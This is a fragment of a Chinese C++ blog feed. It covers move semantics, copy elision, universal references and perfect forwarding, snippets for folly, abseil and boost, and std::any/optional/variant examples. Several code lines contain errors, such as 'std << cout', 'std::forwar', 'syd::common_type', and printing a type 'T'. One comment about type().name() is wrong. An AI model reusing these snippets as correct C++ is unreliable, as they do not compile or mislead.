&lt;p&gt;以常引用作为参数的 拷贝构造函数 (copy constructor)
以右值引用作为参数的 移动构造函数 (move constructor)&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T&amp;gt;
class vector {
 public:
  vector(const vector&amp;amp; rhs);      &amp;#x2F;&amp;#x2F; copy data
  vector(vector&amp;amp;&amp;amp; rhs) noexcept;  &amp;#x2F;&amp;#x2F; move data
  ~vector();                      &amp;#x2F;&amp;#x2F; dtor
 private:
  T* data_ = nullptr;
  size_t size_ = 0;
};
 
vector::vector(const vector&amp;amp; rhs) : data_(new T[rhs.size_]) {
  auto &amp;amp;lhs = *this;
  lhs.size_ = rhs.size_;
  std::copy_n(rhs.data_, rhs.size_, lhs.data_);  &amp;#x2F;&amp;#x2F; copy data
}
 
vector::vector(vector&amp;amp;&amp;amp; rhs) noexcept {
  auto &amp;amp;lhs = *this;
  lhs.size_ = rhs.size_;
  lhs.data_ = rhs.data_;  &amp;#x2F;&amp;#x2F; move data
  rhs.size_ = 0;
  rhs.data_ = nullptr;    &amp;#x2F;&amp;#x2F; set data of rhs to null
}
 
vector::~vector() {
  if (data_)              &amp;#x2F;&amp;#x2F; release only if owned
    delete[] data_;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上述代码中，构造函数 vector::vector() 根据实参判断（重载优先级参考 引用参数重载优先级）：&lt;&#x2F;p&gt;
&lt;p&gt;实参为左值时，拷贝构造，使用 new[]&#x2F;std::copy_n 拷贝原对象的所有元素（本方案有一次冗余的默认构造，仅用于演示）
实参为右值时，移动构造，把指向原对象内存的指针 data_、内存大小 size_ 拷贝到新对象，并把原对象这两个成员置 0
析构函数 vector::~vector() 检查 data_ 是否有效，决定是否需要释放资源。&lt;&#x2F;p&gt;
&lt;p&gt;此外，类的成员函数 还可以通过&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.cpprefhttp:&#x2F;&#x2F;erence.com&#x2F;w&#x2F;cpp&#x2F;language&#x2F;member_functions#const-.2C_volatile-.2C_and_ref-qualified_member_functions&quot;&gt;引用限定符&lt;&#x2F;a&gt;(reference qualifier)，
针对当前对象本身的左右值状态（以及 const-volatile）重载：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;class Foo {
 public:
  Data data() &amp;amp;&amp;amp; { return std::move(data_); }  &amp;#x2F;&amp;#x2F; rvalue, move-out
  Data data() const&amp;amp; { return data_; }         &amp;#x2F;&amp;#x2F; otherwise, copy
};
 
auto ret1 = foo.data();    &amp;#x2F;&amp;#x2F; foo   is lvalue, copy
auto ret2 = Foo{}.data();  &amp;#x2F;&amp;#x2F; Foo{} is rvalue, move
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zhuan-yi-bu-ke-kao-bei-de-zi-yuan&quot;&gt;转移不可拷贝的资源&lt;&#x2F;h2&gt;
&lt;p&gt;如果资源是 不可拷贝 (non-copyable) 的，那么装载资源的对象也应该是不可拷贝的。&lt;&#x2F;p&gt;
&lt;p&gt;如果资源对象不可拷贝，一般需要定义 移动构造&#x2F;移动赋值 函数，并禁用 拷贝构造&#x2F;拷贝赋值 函数。例如，智能指针 std::unique_ptr 只能移动 (move only)：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T&amp;gt;
class unique_ptr {
 public:
  unique_ptr(const unique_ptr&amp;amp; rhs) = delete;
  unique_ptr(unique_ptr&amp;amp;&amp;amp; rhs) noexcept;  &amp;#x2F;&amp;#x2F; move only
 private:
  T* data_ = nullptr;
};
 
unique_ptr::unique_ptr(unique_ptr&amp;amp;&amp;amp; rhs) noexcept {
  auto &amp;amp;lhs = *this;
  lhs.data_ = rhs.data_;
  rhs.data_ = nullptr;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上述代码中，unique_ptr 的移动构造过程和 vector 类似：&lt;&#x2F;p&gt;
&lt;p&gt;把指向原对象内存的指针 data_ 拷贝到新对象
把原对象的指针 data_ 置为空&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bu-zun-shou-yi-dong-yu-yi&quot;&gt;不遵守移动语义&lt;&#x2F;h2&gt;
&lt;p&gt;移动语义只是语言上的一个 概念，具体是否移动对象的资源、如何移动对象的资源，都需要通过编写代码 实现。而移动语义常常被 误认为，编译器 自动生成 移动对象本身的代码（拷贝省略 拷贝省略）。&lt;&#x2F;p&gt;
&lt;p&gt;为了证明这一点，我们可以实现不遵守移动语义的 bad_vec::bad_vec(bad_vec&amp;amp;&amp;amp; rhs)，执行拷贝语义：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bad_vec::bad_vec(bad_vec&amp;amp;&amp;amp; rhs) : data_(new T[rhs.size_]) {
  auto &amp;amp;lhs = *this;
  lhs.size_ = rhs.size_;
  std::copy_n(rhs.data_, rhs.size_, lhs.data_);  &amp;#x2F;&amp;#x2F; copy data
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那么，一个 bad_vec 对象在被 move 移动后仍然可用：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;bad_vec&amp;lt;int&amp;gt; v_old { 0, 1, 2, 3 };
auto v_new = std::move(v_old);
 
v_old[0] = v_new[3];           &amp;#x2F;&amp;#x2F; ok, but odd :-)
assert(v_old[0] != v_new[0]);
assert(v_old[0] == v_new[3]);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;虽然代码可以那么写，但是在语义上有问题：进行了拷贝操作，违背了移动语义的初衷。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;kao-bei-sheng-lue&quot;&gt;拷贝省略&lt;&#x2F;h1&gt;
&lt;p&gt;尽管 C++ 引入了移动语义，移动的过程 仍有优化的空间 —— 与其调用一次 没有意义的移动构造函数，
不如让编译器 直接跳过这个过程 —— 于是就有了 &lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;06&#x2F;%E7%A7%BB%E5%8A%A8%E8%AF%AD%E4%B9%89move&#x2F;%22https:&#x2F;&#x2F;en.cppreference.com&#x2F;w&#x2F;cpp&#x2F;language&#x2F;copy_elision%22&quot;&gt;拷贝省略&lt;&#x2F;a&gt;(copy elision)。&lt;&#x2F;p&gt;
&lt;p&gt;然而，很多人会把移动语义和拷贝省略 混淆：&lt;&#x2F;p&gt;
&lt;p&gt;移动语义是 语言标准 提出的概念，通过编写遵守移动语义的 移动构造函数、右值限定成员函数，逻辑上 优化 对象内资源 的转移流程
拷贝省略是（C++ 17 前）非标准的 编译器优化，跳过移动&#x2F;拷贝构造函数，让编译器直接在 移动后的对象 内存上，构造 被移动的对象（例如 误解：移动非引用返回值 的代码，直接在 函数返回值对象 的内存上，构造 函数局部对象 ret —— 在 不同作用域 里，共享 同一块内存）&lt;&#x2F;p&gt;
&lt;p&gt;C++ 17 要求编译器对 纯右值 (prvalue, pure rvalue) 进行拷贝省略优化。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Data f() {
  Data val;
  &amp;#x2F;&amp;#x2F; ...
  throw val;
  &amp;#x2F;&amp;#x2F; ...
  return val;
 
  &amp;#x2F;&amp;#x2F; NRVO from lvalue to ret (not guaranteed)
  &amp;#x2F;&amp;#x2F; if NRVO is disabled, move ctor is called
}
 
void g(Date arg);
 
Data v = f();     &amp;#x2F;&amp;#x2F; copy elision from prvalue (C++ 17)
g(f());           &amp;#x2F;&amp;#x2F; copy elision from prvalue (C++ 17)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;初始化 局部变量、函数参数时，传入的纯右值可以确保被优化 —— Return Value Optimization (RVO)；而返回的 将亡值 (xvalue, eXpiring value) 不保证被优化 —— Named Return Value Optimization (NRVO)。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;tong-yong-yin-yong-he-wan-mei-zhuan-fa&quot;&gt;通用引用和完美转发&lt;&#x2F;h1&gt;
&lt;p&gt;揭示 std::move()&#x2F; std::forward() 的原理，需要读者有一定的 模板编程基础。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wei-shen-me-xu-yao-tong-yong-yin-yong&quot;&gt;为什么需要通用引用&lt;&#x2F;h2&gt;
&lt;p&gt;C++ 11 引入了变长模板的概念，允许向模板参数里传入不同类型的不定长引用参数。由于每个类型可能是左值引用或右值引用，针对所有可能的左右值引用组合，特化所有模板 是 不现实的。&lt;&#x2F;p&gt;
&lt;p&gt;假设没有 通用引用的概念，模板 std::make_unique&amp;lt;&amp;gt; 至少需要两个重载：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
template&amp;lt;typename T, typename... Args&amp;gt;
unique_ptr&amp;lt;T&amp;gt; make_unique(const Args&amp;amp;... args) {
  return unique_ptr&amp;lt;T&amp;gt; {
    new T { args... }
  };
}
 
template&amp;lt;typename T, typename... Args&amp;gt;
unique_ptr&amp;lt;T&amp;gt; make_unique(Args&amp;amp;&amp;amp;... args) {
  return unique_ptr&amp;lt;T&amp;gt; {
    new T { std::move&amp;lt;Args&amp;gt;(args)... }
  };
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对于传入的左值引用 const Args&amp;amp;… args，只要展开 args… 就可以转发这一组左值引用
对于传入的右值引用 Args&amp;amp;&amp;amp;… args，需要通过 移动转发 std::move() 转发出去，即 std::move(args)…（为什么要转发：参考 误解：不移动右值引用参数）&lt;&#x2F;p&gt;
&lt;p&gt;上述代码的问题在于：如果传入的 args 既有 左值引用 又有 右值引用，那么这两个模板都 无法匹配。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tong-yong-yin-yong&quot;&gt;通用引用&lt;&#x2F;h2&gt;
&lt;p&gt;Item 24: Distinguish universal references from rvalue references. —— Scott Meyers, Effective Modern C++
Scott Meyers 指出：有时候符号 &amp;amp;&amp;amp; 并不一定代表右值引用，它也可能是左值引用 —— 如果一个引用符号需要通过 左右值类型推导（模板参数类型 或 auto 推导），那么这个符号可能是左值引用或右值引用 —— 这叫做 通用引用 (universal reference)。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
&amp;#x2F;&amp;#x2F; rvalue ref: no type deduction
void f1(Widget&amp;amp;&amp;amp; param1);
Widget&amp;amp;&amp;amp; var1 = Widget();
template&amp;lt;typename T&amp;gt; void f2(vector&amp;lt;T&amp;gt;&amp;amp;&amp;amp; param2);
 
&amp;#x2F;&amp;#x2F; universal ref: type deduction
auto&amp;amp;&amp;amp; var2 = var1;
template&amp;lt;typename T&amp;gt; void f3(T&amp;amp;&amp;amp; param);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上述代码中，前三个 &amp;amp;&amp;amp; 符号不涉及引用符号的左右值类型推导，都是右值引用；而后两个 &amp;amp;&amp;amp; 符号会 根据初始值推导左右值类型：&lt;&#x2F;p&gt;
&lt;p&gt;对于var2
因为 var1 是左值，所以 var2 也是左值引用
推导不会参考 var1 的变量类型
对于T&amp;amp;&amp;amp;
如果 param 传入左值，T&amp;amp;&amp;amp; 是左值引用 std::remove_reference_t&amp;amp;
如果 param 传入右值，T&amp;amp;&amp;amp; 是右值引用 std::remove_reference_t&amp;amp;&amp;amp;&lt;&#x2F;p&gt;
&lt;p&gt;基于通用引用，为什么需要通用引用 的模板 std::make_unique&amp;lt;&amp;gt; 只需要一个重载：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T, typename... Args&amp;gt;
unique_ptr&amp;lt;T&amp;gt; make_unique(Args&amp;amp;&amp;amp;... args) {
  return unique_ptr&amp;lt;T&amp;gt; {
    new T { std::forward&amp;lt;Args&amp;gt;(args)... }
  };
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中，std::forward() 实现了 针对不同左右值参数的转发 —— 完美转发。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wan-mei-zhuan-fa&quot;&gt;完美转发&lt;&#x2F;h2&gt;
&lt;p&gt;什么是 完美转发 (perfect forwarding)：&lt;&#x2F;p&gt;
&lt;p&gt;如果参数是 左值引用，直接以 左值引用 的形式，转发给下一个函数
如果参数是 右值引用，要先 “还原” 为 右值引用 的形式，再转发给下一个函数&lt;&#x2F;p&gt;
&lt;p&gt;因此，std::forward() 定义两个 不涉及 左右值类型 推导 的模板（不能使用 通用引用参数）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;typename T&amp;gt;
T&amp;amp;&amp;amp; forward(std::remove_reference_t&amp;lt;T&amp;gt;&amp;amp; val) noexcept {  &amp;#x2F;&amp;#x2F; #1
  &amp;#x2F;&amp;#x2F; forward lvalue as either lvalue or rvalue
  return static_cast&amp;lt;T&amp;amp;&amp;amp;&amp;gt;(val);
}
 
template &amp;lt;typename T&amp;gt;
T&amp;amp;&amp;amp; forward(std::remove_reference_t&amp;lt;T&amp;gt;&amp;amp;&amp;amp; val) noexcept {  &amp;#x2F;&amp;#x2F; #2
  &amp;#x2F;&amp;#x2F; forward rvalue as rvalue (not lvalue)
  static_assert(!std::is_lvalue_reference_v&amp;lt;T&amp;gt;,
                &amp;quot;Cannot forward rvalue as lvalue.&amp;quot;);
  return static_cast&amp;lt;T&amp;amp;&amp;amp;&amp;gt;(val);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实参&#x2F;返回值重载l-ref 返回值r-ref 返回值l-ref 实参2语义错误完美转发&lt;&#x2F;p&gt;
&lt;p&gt;尽管初始化后的变量都是 左值（参考 误解：不移动右值引用参数），但原始的 变量类型 仍会保留
因此，可以根据 实参类型 选择重载，和模板参数 &lt;code&gt;T&lt;&#x2F;code&gt; 的类型无关
返回值类型 static_cast(val) 经过模板参数 T&amp;amp;&amp;amp; 引用折叠 引用折叠 实现 完美转发&#x2F;移动转发，和实参类型无关
“将 l-ref 实参 转发为 r-ref 返回值” 等价于 移动转发 std::move() 移动转发&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yi-dong-zhuan-fa&quot;&gt;移动转发&lt;&#x2F;h2&gt;
&lt;p&gt;类似的，std::move() 只转发为右值引用类型：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;typename T&amp;gt;
std::remove_reference_t&amp;lt;T&amp;gt;&amp;amp;&amp;amp; move(T&amp;amp;&amp;amp; val) noexcept {
  &amp;#x2F;&amp;#x2F; forward either lvalue or rvalue as rvalue
  return static_cast&amp;lt;std::remove_reference_t&amp;lt;T&amp;gt;&amp;amp;&amp;amp;&amp;gt;(val);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实参&#x2F;返回值r-ref 返回值l-ref 实参移动转发r-ref 实参移动转发（完美转发）&lt;&#x2F;p&gt;
&lt;p&gt;接受 通用引用模板参数 T&amp;amp;&amp;amp;（无需两个模板，使用时不区分 T 的引用类型）
返回值 static_cast[std::remove_reference_t&amp;lt;T](std::remove_reference_t&#x2F;%3CT&#x2F;)&amp;amp;&amp;amp;(val) 将实参 转为将亡值（右值引用类型）
所以 std::move&amp;lt;T&amp;gt;() 等价于 std::forward[std::removereference_t&amp;lt;T](std::removereference_t&#x2F;%3CT&#x2F;)&amp;amp;&amp;amp;()
最后，std::move()&#x2F;std::forward() 只是编译时的变量类型转换，不会产生目标代码。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;std-forward&quot;&gt;std::forward&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;typename T&amp;gt;
T&amp;amp;&amp;amp; bar(T&amp;amp;&amp;amp; t) {
  std::cout &amp;lt;&amp;lt; T &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;
  return std::forward&amp;lt;T&amp;gt;(t);
}

template &amp;lt;typename T&amp;gt;
T&amp;amp;&amp;amp; foo(T&amp;amp;&amp;amp; t) {
  return bar(std::forward(t));
}

map&amp;lt;int,int&amp;gt; foo1(map&amp;lt;int,int&amp;gt;&amp;amp;&amp;amp; mp) {
    return std::forwar&amp;lt;map&amp;lt;int,int&amp;gt;&amp;gt;(mp);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>c++常用库</title>
        <published>2022-06-20T16:52:27+08:00</published>
        <updated>2022-06-20T16:52:27+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/cxx常用库/"/>
        <id>https://vercel.juzhong.asia/2022/06/cxx常用库/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/cxx常用库/">&lt;h1 id=&quot;c-chang-yong-ku&quot;&gt;c++常用库&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;folly&quot;&gt;folly&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;folly-synchronized-h-jian-dan-shi-yong&quot;&gt;folly&#x2F;Synchronized.h 简单使用&lt;&#x2F;h2&gt;
&lt;p&gt;https:&#x2F;&#x2F;mp.weixin.qq.com&#x2F;s&#x2F;hwsEOPbSdGKP-Tc2ICUURQ&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;class RequestHandler {
  folly::Synchronized&amp;lt;RequestQueue&amp;gt; requestQueue_;

  processRequest(const Request&amp;amp; request);
};

void RequestHandler::processRequest(const Request&amp;amp; request) {
  requestQueue_.wlock()-&amp;gt;push_back(request);
}


vec.withLock([](auto&amp;amp; data &amp;quot;&amp;quot;) {
    for (int&amp;amp; n : data) {
        n *= 2;
    }
});
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;fbstring-yi-ge-wan-mei-ti-dai-std-stringde-ku&quot;&gt;Fbstring —— 一个完美替代std::string的库&lt;&#x2F;h2&gt;
&lt;p&gt;https:&#x2F;&#x2F;mp.weixin.qq.com&#x2F;s?__biz=MzI1OTI4MTEyMQ==&amp;amp;mid=2247484369&amp;amp;idx=1&amp;amp;sn=625c17684a5c5b4b32f5410b86591f2e&amp;amp;chksm=ea7a1a5fdd0d93496a925d58a3d6352ff8c12b76bedfb7e88e5a45483dbfde485199c45c2901&amp;amp;scene=178&amp;amp;cur_album_id=1731469832694366212#rd&lt;&#x2F;p&gt;
&lt;p&gt;bstring 可以 100%兼容 std::string。配合三种存储策略和jemalloc[4]，可以显著的提高 string 的性能。
fbstring 支持 32-bit、64-bit、little-endian、big-endian.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;abseil&quot;&gt;abseil&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;string-view&quot;&gt;string_view&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;strcat&quot;&gt;StrCat&lt;&#x2F;h2&gt;
&lt;p&gt;StrCat 可以高效的从多个组件构建一个字符串，这些组件可以是C 字符串、 std::string 类型、absl::string_view 类型、整型、浮点型、布尔型等等:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;absl::string_view sv = &amp;quot; hello&amp;quot;;
std::string str = &amp;quot; world&amp;quot;;
const char *cstr = &amp;quot; abc &amp;quot;;
int i = 55;
double f = 123.44678;
std::string res = absl::StrCat(sv, str, cstr, i, f);
std::cout &amp;lt;&amp;lt; res &amp;lt;&amp;lt; std::endl;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zheng-shu-zhuan-16jin-zhi-zi-fu-chuan&quot;&gt;整数转 16进制字符串&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;std::string s1;
int i = 255;
s1 = absl::StrCat(&amp;quot;hello 0x&amp;quot;, absl::Hex(i)); 
std::cout &amp;lt;&amp;lt; s1 &amp;lt;&amp;lt; std::endl;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;strappend&quot;&gt;StrAppend&lt;&#x2F;h2&gt;
&lt;p&gt;StrAppend 用于在字符串尾部追加新的内容，新的内容可以是 std::string 类型、absl::string_view 类型、C 字符串、整数、浮点数、bool 值等等，在追加整数和浮点数时，其转换规则和 StrCat 一样：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;std::string s1(&amp;quot;hello &amp;quot;);
absl::StrAppend(&amp;amp;s1, &amp;quot;world&amp;quot;);
std::cout &amp;lt;&amp;lt; s1 &amp;lt;&amp;lt; std::endl;

s1 = &amp;quot;hello &amp;quot;;
absl::string_view sv = &amp;quot;world&amp;quot;; 
absl::StrAppend(&amp;amp;s1, sv); &amp;#x2F;&amp;#x2F; 追加 string_view 类型
std::cout &amp;lt;&amp;lt; s1 &amp;lt;&amp;lt; std::endl;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;boost&quot;&gt;boost&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;boost::circular_buffer&amp;lt;int&amp;gt; cb(3);
&amp;#x2F;&amp;#x2F; 放入元素
cb.push_back(1);
cb.push_back(2);
cb.push_back(3);

&amp;#x2F;&amp;#x2F; 弹出尾部元素 3
cb.pop_back();  &amp;#x2F;&amp;#x2F; 3 is removed.
&amp;#x2F;&amp;#x2F; 弹出头部元素 1
cb.pop_front(); &amp;#x2F;&amp;#x2F; 1 is removed.
&amp;#x2F;&amp;#x2F; 现在只剩下元素 2

&amp;#x2F;&amp;#x2F; 我们定义的缓冲区实际类型，每个 item 代表表格的一行数据
boost::circular_buffer&amp;lt;std::vector&amp;lt;GridData&amp;gt;&amp;gt; m_circularBuf;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>any optional variant</title>
        <published>2022-06-20T11:53:19+08:00</published>
        <updated>2022-06-20T11:53:19+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/any-optional-variant/"/>
        <id>https://vercel.juzhong.asia/2022/06/any-optional-variant/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/any-optional-variant/">&lt;h1 id=&quot;any-optional-variant&quot;&gt;any optional variant&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;any-optional-variant-1&quot;&gt;any optional variant&lt;&#x2F;h1&gt;
&lt;p&gt;std::optional, std::any, 和 std::variant 有一个共同特点:他们都支持就地构造.另外的,std::variant 还支持访问者模式.&lt;&#x2F;p&gt;
&lt;p&gt;首先,我们要了解一下这3种数据类型的功能作用.&lt;&#x2F;p&gt;
&lt;p&gt;std::optional 是一种可能包含也可能不包含某一类型对象的类型.
std::variant 是一种类型安全的联合体
std::any 是一种可以包含任意类型(指可复制类型)对象的类型&lt;&#x2F;p&gt;
&lt;h1 id=&quot;construct-in-place&quot;&gt;Construct in-place&lt;&#x2F;h1&gt;
&lt;p&gt;什么是就地构造呢?以 std::optional&amp;lt;std::string&amp;gt; 为例来说明就是:
所谓就地构造,就是你可以直接使用 std::string 的构造参数来构造 std::optional&amp;lt;std::string&amp;gt;.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;std::optional&amp;lt;std::string&amp;gt; opt1(std::in_place, &amp;quot;C++17&amp;quot;);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;std-variant-zhi-chi-std-visit-fang-fa-ji-jing-dian-de-she-ji-mo-shi-fang-wen-zhe&quot;&gt;std::variant 支持 std::visit 方法(即精典的设计模式:访问者).&lt;&#x2F;h1&gt;
&lt;p&gt;std::visit 方法允许你对一个 std::variants 列表应用访问者模式,而相应的访问者必须是一个callable类型,所谓 callable 类型,是一种可以被调用的类型,通常是一个函数,一个函数对象或者一个 lambda 函数.简单起见,这里我仅使用 lambda 函数来举例说明.&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;vector&amp;gt;
#include &amp;lt;typeinfo&amp;gt;
#include &amp;lt;type_traits&amp;gt;
#include &amp;lt;variant&amp;gt;

int main()
{
    std::cout &amp;lt;&amp;lt; std::endl;

    std::vector&amp;lt;std::variant&amp;lt;char, long, float, int, double, long long&amp;gt;&amp;gt;      &amp;#x2F;&amp;#x2F; 1
        vecVariant = { 5, &amp;#x27;2&amp;#x27;, 5.4, 100ll, 2011l, 3.5f, 2017 };

    &amp;#x2F;&amp;#x2F; display each value                                                             
    for (auto&amp;amp; v : vecVariant) {
        std::visit([](auto&amp;amp;&amp;amp; arg) {std::cout &amp;lt;&amp;lt; arg &amp;lt;&amp;lt; &amp;quot; &amp;quot;; }, v);                &amp;#x2F;&amp;#x2F; 2
    }
    std::cout &amp;lt;&amp;lt; std::endl;

    &amp;#x2F;&amp;#x2F; display each type
    for (auto&amp;amp; v : vecVariant) {
        std::visit([](auto&amp;amp;&amp;amp; arg) {std::cout &amp;lt;&amp;lt; typeid(arg).name() &amp;lt;&amp;lt; &amp;quot; &amp;quot;; }, v); &amp;#x2F;&amp;#x2F; 3
    }
    std::cout &amp;lt;&amp;lt; std::endl;

    &amp;#x2F;&amp;#x2F; get the sum
    std::common_type&amp;lt;char, long, float, int, double, long long&amp;gt;::type res{};  &amp;#x2F;&amp;#x2F; 4
    std::cout &amp;lt;&amp;lt; &amp;quot;typeid(res).name(): &amp;quot; &amp;lt;&amp;lt; typeid(res).name() &amp;lt;&amp;lt; std::endl;

    for (auto&amp;amp; v : vecVariant) {
        std::visit([&amp;amp;res](auto&amp;amp;&amp;amp; arg) {res += arg; }, v);                          &amp;#x2F;&amp;#x2F; 5
    }
    std::cout &amp;lt;&amp;lt; &amp;quot;res: &amp;quot; &amp;lt;&amp;lt; res &amp;lt;&amp;lt; std::endl;

    &amp;#x2F;&amp;#x2F; double each value
    for (auto&amp;amp; v : vecVariant) {
        std::visit([](auto&amp;amp;&amp;amp; arg) {arg *= 2; }, v);                           &amp;#x2F;&amp;#x2F; 6
        std::visit([](auto&amp;amp;&amp;amp; arg) {std::cout &amp;lt;&amp;lt; arg &amp;lt;&amp;lt; &amp;quot; &amp;quot;; }, v);
    }
    std::cout &amp;lt;&amp;lt; std::endl;

    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;common-typehan-shu&quot;&gt;common_type函数&lt;&#x2F;h1&gt;
&lt;p&gt;包含于&amp;lt;type_traits&amp;gt;当中。
作用是返回参数列表中的参数都可以转换成的类型（有些拗口）。&lt;&#x2F;p&gt;
&lt;p&gt;C++11中的用法为&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;syd::common_type&amp;lt;int,float,double&amp;gt;::type &amp;#x2F;&amp;#x2F; 返回值为double 
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;std-any&quot;&gt;std::any&lt;&#x2F;h1&gt;
&lt;p&gt;一个类型安全的容器，可以放置各种类型的数据。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;any&amp;gt;
#include &amp;lt;iostream&amp;gt;

int main()
{
  std::cout &amp;lt;&amp;lt; std::boolalpha; &amp;#x2F;&amp;#x2F;将bool值用 &amp;quot;true&amp;quot; 和 &amp;quot;false&amp;quot;显示
  std::any a;  &amp;#x2F;&amp;#x2F;定义一个空的any，即一个空的容器
  &amp;#x2F;&amp;#x2F;有两种方法来判断一个any是否是空的
  std &amp;lt;&amp;lt; cout &amp;lt;&amp;lt; a.has_value() &amp;lt;&amp;lt;std::endl; &amp;#x2F;&amp;#x2F; any是空的时，has_value 返回值为 false
  std &amp;lt;&amp;lt; cout &amp;lt;&amp;lt; a.type().name() &amp;lt;&amp;lt;std::endl; &amp;#x2F;&amp;#x2F;any 是空的时，has_value 返回值为 true
  &amp;#x2F;&amp;#x2F;几种创建any的方式
  std::any b = 1;                         &amp;#x2F;&amp;#x2F;b 为存了int类型的值的any
  auto c = std::make_any&amp;lt;float&amp;gt;(5.0f);    &amp;#x2F;&amp;#x2F;c为存了float类型的any
  std::any d(6.0);                        &amp;#x2F;&amp;#x2F;d为存储了double类型的any
  std &amp;lt;&amp;lt; cout &amp;lt;&amp;lt; b.has_value() &amp;lt;&amp;lt;std::endl;   &amp;#x2F;&amp;#x2F;true 
  std &amp;lt;&amp;lt; cout &amp;lt;&amp;lt; b.type().name() &amp;lt;&amp;lt;std::endl; &amp;#x2F;&amp;#x2F;int
  std &amp;lt;&amp;lt; cout &amp;lt;&amp;lt; c.has_value() &amp;lt;&amp;lt;std::endl;   &amp;#x2F;&amp;#x2F;true
  std &amp;lt;&amp;lt; cout &amp;lt;&amp;lt; c.type().name() &amp;lt;&amp;lt;std::endl; &amp;#x2F;&amp;#x2F;float
  std &amp;lt;&amp;lt; cout &amp;lt;&amp;lt; d.has_value() &amp;lt;&amp;lt;std::endl;   &amp;#x2F;&amp;#x2F;true
  std &amp;lt;&amp;lt; cout &amp;lt;&amp;lt; d.type().name() &amp;lt;&amp;lt;std::endl; &amp;#x2F;&amp;#x2F;double
  
  &amp;#x2F;&amp;#x2F;更改any的值    
  a = 2;   &amp;#x2F;&amp;#x2F;直接重新赋值
  auto e = c.emplace&amp;lt;float&amp;gt;(4.0f); &amp;#x2F;&amp;#x2F;调用emplace函数，e为新生成的对象引用

  &amp;#x2F;&amp;#x2F;清空any的值
  b.reset();
  std &amp;lt;&amp;lt; cout &amp;lt;&amp;lt; b.has_value() &amp;lt;&amp;lt;std::endl;   &amp;#x2F;&amp;#x2F;false
